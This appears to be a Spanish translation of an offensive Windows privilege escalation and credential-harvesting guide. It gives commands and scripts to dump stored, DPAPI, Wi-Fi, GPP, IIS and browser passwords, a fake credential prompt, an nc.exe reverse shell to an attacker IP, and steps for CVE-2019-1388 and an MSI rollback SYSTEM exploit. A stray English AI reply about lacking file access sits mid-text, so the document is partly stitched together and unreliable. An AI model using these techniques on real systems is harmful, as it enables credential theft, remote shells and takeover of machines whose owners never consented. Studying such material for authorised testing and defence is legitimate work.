reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault almacena credenciales de usuario para servidores, sitios web y otros programas que Windows puede iniciar sesión automáticamente a los usuariosy. A primera vista, esto podría parecer que los usuarios pueden almacenar sus credenciales de Facebook, Twitter, Gmail, etc., para que inicien sesión automáticamente en los navegadores. Pero no es así.

Windows Vault almacena credenciales que Windows puede usar para iniciar sesión automáticamente, lo que significa que cualquier aplicación de Windows que necesita credenciales para acceder a un recurso (servidor o un sitio web) puede hacer uso de este Credential Manager & Windows Vault y usar las credenciales suministradas en lugar de que los usuarios introduzcan el nombre de usuario y la contraseña todo el tiempo.

A menos que las aplicaciones interactúen con Credential Manager, no creo que sea posible que usen las credenciales para un recurso determinado. Por lo tanto, si tu aplicación quiere hacer uso del vault, debería de alguna manera comunicarse con el credential manager y solicitar las credenciales para ese recurso desde el vault de almacenamiento predeterminado.

Usa el cmdkey para listar las credenciales almacenadas en la máquina.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Entonces puedes usar runas con la opción /savecred para usar las credenciales guardadas. El siguiente ejemplo llama a un binary remoto a través de un SMB share.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Usando runas con un conjunto de credenciales proporcionadas.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Tenga en cuenta que mimikatz, lazagne, credentialfileview, VaultPasswordView, o Empire Powershells module.

DPAPI

La Data Protection API (DPAPI) proporciona un método para el cifrado simétrico de datos, utilizado predominantemente dentro del sistema operativo Windows para el cifrado simétrico de claves privadas asimétricas. Este cifrado aprovecha un secreto del usuario o del sistema para contribuir de forma significativa a la entropía.

DPAPI permite el cifrado de claves mediante una clave simétrica que se deriva de los secretos de inicio de sesión del usuario. En escenarios que involucran cifrado a nivel de sistema, utiliza los secretos de autenticación de dominio del sistema.

Las claves RSA de usuario cifradas, al usar DPAPI, se almacenan en el directorio %APPDATA%\Microsoft\Protect\{SID}, donde {SID} representa el usuario’s Security Identifier. La clave DPAPI, co-ubicada con la clave maestra que protege las claves privadas del usuario en el mismo archivo, suele consistir en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido mediante el comando dir en CMD, aunque puede listarse a través de PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Puedes usar el mimikatz module dpapi::masterkey con los argumentos apropiados (/pvk o /rpc) para descifrarlo.

Los credentials files protected by the master password suelen ubicarse en:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Puedes usar mimikatz module dpapi::cred con la /masterkey apropiada para descifrar.
Puedes extraer muchos DPAPI masterkeys desde la memoria con el módulo sekurlsa::dpapi (si eres root).

DPAPI - Extracting Passwords

Credenciales de PowerShell

Credenciales de PowerShell son usadas a menudo para scripting y tareas de automatización como una forma conveniente de almacenar credenciales cifradas. Las credenciales están protegidas usando DPAPI, lo que típicamente significa que solo pueden ser descifradas por el mismo usuario en el mismo equipo en el que fueron creadas.

Para descifrar una credencial de PS desde el archivo que la contiene, puedes hacer:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Conexiones RDP guardadas

Puedes encontrarlas en HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
y en HKCU\Software\Microsoft\Terminal Server Client\Servers\

Comandos ejecutados recientemente

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Administrador de credenciales de Escritorio remoto

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Usa el módulo Mimikatz dpapi::rdg con el /masterkey apropiado para descifrar cualquier archivo .rdg
Puedes extraer muchos DPAPI masterkeys de la memoria con el módulo Mimikatz sekurlsa::dpapi

Sticky Notes

A menudo la gente usa la app StickyNotes en estaciones de trabajo Windows para guardar contraseñas y otra información, sin darse cuenta de que es un archivo de base de datos. Este archivo está ubicado en C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite y siempre merece la pena buscarlo y examinarlo.

AppCmd.exe

Nota: para recuperar contraseñas desde AppCmd.exe necesitas ser Administrador y ejecutarlo bajo un nivel de integridad alto.
AppCmd.exe está ubicado en el directorio %systemroot%\system32\inetsrv\.\ Si este archivo existe, es posible que se hayan configurado credenciales que pueden ser recuperadas.

Este código fue extraído de PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Comprueba si C:\Windows\CCM\SCClient.exe existe .
Los instaladores se ejecutan con SYSTEM privileges, muchos son vulnerables a DLL Sideloading (Info de https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Archivos y Registro (Credenciales)

Credenciales de Putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Claves de host

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys en el registro

Las SSH private keys pueden almacenarse dentro de la clave del registro HKCU\Software\OpenSSH\Agent\Keys, por lo que deberías comprobar si hay algo interesante allí:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Si encuentras alguna entrada dentro de esa ruta, probablemente sea una SSH key guardada. Está almacenada cifrada pero puede descifrarse fácilmente usando https://github.com/ropnop/windows_sshagent_extract.
Más información sobre esta técnica aquí: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Si el servicio ssh-agent no se está ejecutando y quieres que se inicie automáticamente al arrancar, ejecuta:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Parece que esta técnica ya no es válida. Intenté crear algunas ssh keys, agregarlas con ssh-add e iniciar sesión por ssh en una máquina. La clave de registro HKCU\Software\OpenSSH\Agent\Keys no existe y procmon no identificó el uso de dpapi.dll durante la autenticación de clave asimétrica.

Archivos desatendidos

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

También puedes buscar estos archivos usando metasploit: post/windows/gather/enum_unattend

Contenido de ejemplo:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Copias de seguridad de SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Credenciales en la nube

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Busca un archivo llamado SiteList.xml

Contraseña GPP en caché

Anteriormente existía una funcionalidad que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de equipos mediante Group Policy Preferences (GPP). Sin embargo, este método presentaba fallos de seguridad significativos. En primer lugar, los Group Policy Objects (GPOs), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 usando una clave por defecto documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo grave, ya que podría permitir a usuarios obtener privilegios elevados.

Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo “cpassword” que no esté vacío. Al encontrar dicho archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.

Busca en C:\ProgramData\Microsoft\Group Policy\history o en C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (anterior a W Vista) estos archivos:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Para descifrar el cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Usando crackmapexec para obtener las contraseñas:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Configuración Web

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Ejemplo de web.config con credentials:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Credenciales de OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logs

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Pedir credentials

Siempre puedes pedir al usuario que introduzca sus credentials o incluso las credentials de otro usuario si crees que puede conocerlas (fíjate que pedir al cliente directamente las credentials es realmente arriesgado):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Posibles nombres de archivo que contienen credenciales

Archivos conocidos que en algún momento contenían contraseñas en clear-text o Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

I don’t have access to your filesystem or repository. Please either:

  • Paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md here, or
  • Upload the file(s), or
  • Provide a link to the file contents.

Once you provide the file, I will translate the relevant English text to Spanish, preserving all markdown/html tags, links, paths and code as you requested.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credenciales en la Papelera de reciclaje

También deberías revisar la Papelera para buscar credenciales en su interior

Para recuperar contraseñas guardadas por varios programas puedes usar: http://www.nirsoft.net/password_recovery_tools.html

Dentro del registro

Otras posibles claves del registro con credenciales

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Historial de navegadores

Debes buscar las dbs donde se almacenan las contraseñas de Chrome o Firefox.
También revisa el historial, los marcadores y los favoritos de los navegadores; quizá algunas contraseñas estén almacenadas allí.

Herramientas para extraer contraseñas de los navegadores:

COM DLL Overwriting

Component Object Model (COM) es una tecnología integrada en el sistema operativo Windows que permite la intercomunicación entre componentes de software escritos en distintos lenguajes. Cada componente COM está identificado vía un class ID (CLSID) y cada componente expone funcionalidad a través de una o más interfaces, identificadas vía interface IDs (IIDs).

Las clases e interfaces COM se definen en el registro bajo HKEY\CLASSES\ROOT\CLSID y HKEY\CLASSES\ROOT\Interface respectivamente. Este registro se crea al fusionar HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

Básicamente, si puedes overwrite any of the DLLs que se van a ejecutar, podrías escalate privileges si esa DLL se ejecuta por un usuario diferente.

To learn how attackers use COM Hijacking as a persistence mechanism check:

COM Hijacking

Búsqueda genérica de contraseñas en archivos y en el registro

Search for file contents

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Buscar un archivo con un nombre determinado

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Buscar en el registry key names y passwords

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Herramientas que buscan passwords

MSF-Credentials Plugin es un msf plugin que he creado para ejecutar automáticamente cada metasploit POST module que busca credentials dentro de la víctima.
Winpeas busca automáticamente todos los archivos que contienen passwords mencionados en esta página.
Lazagne es otra gran herramienta para extraer password de un sistema.

La herramienta SessionGopher busca sessions, usernames y passwords de varias herramientas que guardan estos datos en texto claro (PuTTY, WinSCP, FileZilla, SuperPuTTY, y RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagina que un proceso que se ejecuta como SYSTEM abre un nuevo proceso (OpenProcess()) con acceso completo. El mismo proceso también crea un nuevo proceso (CreateProcess()) con privilegios bajos pero heredando todos los handles abiertos del proceso principal.
Entonces, si tienes acceso completo al proceso de bajos privilegios, puedes tomar el handle abierto hacia el proceso privilegiado creado con OpenProcess() e inyectar un shellcode.
Lee este ejemplo para más información sobre cómo detectar y explotar esta vulnerabilidad.
Lee este otro post para una explicación más completa sobre cómo probar y abusar más open handlers de processes and threads heredados con diferentes niveles de permisos (no solo acceso completo).

Named Pipe Client Impersonation

Los segmentos de memoria compartida, referidos como pipes, permiten la comunicación entre procesos y la transferencia de datos.

Windows proporciona una característica llamada Named Pipes, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como named pipe server y named pipe client.

Cuando se envían datos a través de una pipe por un client, el server que creó la pipe tiene la capacidad de asumir la identidad del client, siempre que disponga de los derechos SeImpersonate. Identificar un proceso privilegiado que se comunique vía una pipe que puedas emular te brinda la oportunidad de obtener privilegios superiores adoptando la identidad de ese proceso cuando interactúe con la pipe que has establecido. Para instrucciones sobre cómo ejecutar tal ataque, puedes encontrar guías útiles aquí y aquí.

Además, la siguiente herramienta permite interceptar la comunicación de una named pipe con una herramienta como burp: https://github.com/gabriel-sztejnworcel/pipe-intercept y esta herramienta permite listar y ver todas las pipes para encontrar privescs https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

El servicio Telephony (TapiSrv) en modo servidor expone \\pipe\\tapsrv (MS-TRP). Un cliente remoto autenticado puede abusar de la ruta de eventos asíncronos basada en mailslot para convertir ClientAttach en una escritura arbitraria de 4 bytes a cualquier archivo existente escribible por NETWORK SERVICE, luego obtener privilegios de administrador de Telephony y cargar una DLL arbitraria como el servicio. Flujo completo:

  • ClientAttach con pszDomainUser establecido a una ruta existente escribible → el servicio la abre vía CreateFileW(..., OPEN_EXISTING) y la usa para escrituras de eventos asíncronos.
  • Cada evento escribe el InitContext controlado por el atacante desde Initialize a ese handle. Registra una línea app con LRegisterRequestRecipient (Req_Func 61), desencadena TRequestMakeCall (Req_Func 121), recupera vía GetAsyncEvents (Req_Func 0), luego da de baja/apaga para repetir escrituras deterministas.
  • Agrégate a [TapiAdministrators] en C:\\Windows\\TAPI\\tsec.ini, reconecta, luego llama a GetUIDllName con una ruta de DLL arbitraria para ejecutar TSPI_providerUIIdentify como NETWORK SERVICE.

Más detalles:

Telephony Tapsrv Arbitrary Dword Write To Rce

Varios

File Extensions that could execute stuff in Windows

Consulta la página https://filesec.io/

Monitoring Command Lines for passwords

Al obtener una shell como un usuario, puede haber tareas programadas u otros procesos ejecutándose que pasen credenciales en la línea de comandos. El script siguiente captura las command lines de los procesos cada dos segundos y compara el estado actual con el estado anterior, mostrando cualquier diferencia.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Robar contraseñas de procesos

De usuario con bajos privilegios a NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Si tienes acceso a la interfaz gráfica (vía console o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar una terminal u otro proceso como “NT\AUTHORITY SYSTEM” desde un usuario sin privilegios.

Esto permite escalar privilegios y eludir UAC al mismo tiempo aprovechando la misma vulnerabilidad. Además, no es necesario instalar nada y el binario usado durante el proceso está firmado y emitido por Microsoft.

Algunos de los sistemas afectados son los siguientes:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Para explotar esta vulnerabilidad, es necesario realizar los siguientes pasos:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Tienes todos los archivos e información necesarios en el siguiente repositorio de GitHub:

https://github.com/jas502n/CVE-2019-1388

De Administrator Medium a High Integrity Level / UAC Bypass

Lee esto para aprender sobre Integrity Levels:

Integrity Levels

Luego lee esto para aprender sobre UAC y UAC bypasses:

UAC - User Account Control

De Arbitrary Folder Delete/Move/Rename a SYSTEM EoP

La técnica descrita en esta entrada del blog con un exploit code disponible aquí.

El ataque consiste básicamente en abusar de la función de rollback de Windows Installer para reemplazar archivos legítimos por otros maliciosos durante el proceso de desinstalación. Para ello, el atacante necesita crear un malicious MSI installer que se usará para secuestrar la carpeta C:\Config.Msi, la cual será utilizada después por Windows Installer para almacenar archivos de rollback durante la desinstalación de otros paquetes MSI, donde esos archivos de rollback habrían sido modificados para contener la carga maliciosa.

La técnica resumida es la siguiente:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

  • Step 1: Install the MSI

  • Create an .msi that installs a harmless file (e.g., dummy.txt) in a writable folder (TARGETDIR).

  • Mark the installer as “UAC Compliant”, so a non-admin user can run it.

  • Keep a handle open to the file after install.

  • Step 2: Begin Uninstall

  • Uninstall the same .msi.

  • The uninstall process starts moving files to C:\Config.Msi and renaming them to .rbf files (rollback backups).

  • Poll the open file handle using GetFinalPathNameByHandle to detect when the file becomes C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • The .msi includes a custom uninstall action (SyncOnRbfWritten) that:

  • Signals when .rbf has been written.

  • Then waits on another event before continuing the uninstall.

  • Step 4: Block Deletion of .rbf

  • When signaled, open the .rbf file without FILE_SHARE_DELETE — this prevents it from being deleted.

  • Then signal back so the uninstall can finish.

  • Windows Installer fails to delete the .rbf, and because it can’t delete all contents, C:\Config.Msi is not removed.

  • Step 5: Manually Delete .rbf

  • You (attacker) delete the .rbf file manually.

  • Now C:\Config.Msi is empty, ready to be hijacked.

At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Recreate the C:\Config.Msi folder yourself.

  • Set weak DACLs (e.g., Everyone:F), and keep a handle open with WRITE_DAC.

  • Step 7: Run Another Install

  • Install the .msi again, with:

  • TARGETDIR: Writable location.

  • ERROROUT: A variable that triggers a forced failure.

  • This install will be used to trigger rollback again, which reads .rbs and .rbf.

  • Step 8: Monitor for .rbs

  • Use ReadDirectoryChangesW to monitor C:\Config.Msi until a new .rbs appears.

  • Capture its filename.

  • Step 9: Sync Before Rollback

  • The .msi contains a custom install action (SyncBeforeRollback) that:

  • Signals an event when the .rbs is created.

  • Then waits before continuing.

  • Step 10: Reapply Weak ACL

  • After receiving the .rbs created event:

  • The Windows Installer reapplies strong ACLs to C:\Config.Msi.

  • But since you still have a handle with WRITE_DAC, you can reapply weak ACLs again.

ACLs are only enforced on handle open, so you can still write to the folder.

  • Step 11: Drop Fake .rbs and .rbf

  • Overwrite the .rbs file with a fake rollback script that tells Windows to:

  • Restore your .rbf file (malicious DLL) into a privileged location (e.g., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Drop your fake .rbf containing a malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Signal the sync event so the installer resumes.

  • A type 19 custom action (ErrorOut) is configured to intentionally fail the install at a known point.

  • This causes rollback to begin.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Reads your malicious .rbs.

  • Copies your .rbf DLL into the target location.

  • You now have your malicious DLL in a SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Run a trusted auto-elevated binary (e.g., osk.exe) that loads the DLL you hijacked.

  • Boom: Your code is executed as SYSTEM.

